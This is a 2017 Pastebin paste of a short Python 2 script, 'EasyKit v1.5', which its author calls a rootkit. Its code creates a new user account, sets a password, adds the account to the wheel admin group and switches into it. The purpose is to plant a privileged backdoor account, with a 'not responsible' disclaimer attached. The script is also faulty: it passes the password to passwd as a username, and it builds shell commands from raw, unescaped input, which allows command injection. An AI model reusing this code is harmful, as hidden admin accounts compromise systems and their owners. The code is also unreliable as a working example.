Advertisement
1337ings

[Python] EasyKit v1.5

May 2nd, 2017
1,358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # - - - - - - - - - - - - - - - - - - - - - - #
  3. # Welcome to EasyKit v1.5 developed in Python #
  4. # I do not take responsibility for your actions #
  5. # with EasyKit. This code is/was meant for #
  6. # educational/researchive purposes only. #
  7. # Developer: Chris Poole | @codingplanets #
  8. # - - - - - - - - - - - - - - - - - - - - - - #
  9. # Usages: #
  10. # 1) Save as 'EasyKit.py #
  11. # 2) chmod EasyKit.py 777 #
  12. # 3) python EasyKit.py #
  13. # - - - - - - - - - - - - - - - - - - - - - - #
  14. # Execution: #
  15. # python EasyKit.py <username> <password> #
  16. # - - - - - - - - - - - - - - - - - - - - - - #
  17. # Example: #
  18. # python EasyKit.py toor pa55word #
  19. # - - - - - - - - - - - - - - - - - - - - - - #
  20.  
  21.  
  22. import os, sys
  23.  
  24.  
  25. if len(sys.argv) < 2:
  26. sys.exit("\033[37mUsage: python "+sys.argv[0]+" <username> <password>")
  27.  
  28. print '''
  29. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  30. | ______ _ ___ _ |
  31. | | ____| | |/ (_) | |
  32. | | |__ __ _ ___ _ _| | / _| |_ |
  33. | | __| / _| / __| | | | < | | __| |
  34. | | |___| (_| \__ \ |_| | | \| | |_ |
  35. | |______\__|_|___/\___ |_|\_\_|\__| |
  36. | __/ | |
  37. | |___/ |
  38. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  39. | Easykit is a rootkit developed in shell/python |
  40. | I do not take responsibility for any |
  41. | actions committed with EasyKit |
  42. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  43. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  44. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  45. | Developer: |
  46. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  47. | Chris Poole | @codingplanets |
  48. | - - - - - - - - - - - - - - - - - - - - - - - - - |
  49. '''
  50. raw_input("[!] Please press enter if you confirm in rooting this box...")
  51.  
  52.  
  53. username = sys.argv[1]
  54. password = str(sys.argv[2])
  55.  
  56. os.system('adduser '+ sys.argv[1] +'')
  57.  
  58. os.system('passwd '+ sys.argv[2] +'')
  59.  
  60.  
  61. os.system('usermod -aG wheel ' + sys.argv[1] + '')
  62.  
  63.  
  64. os.system('su - ' + sys.argv[1] + '')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement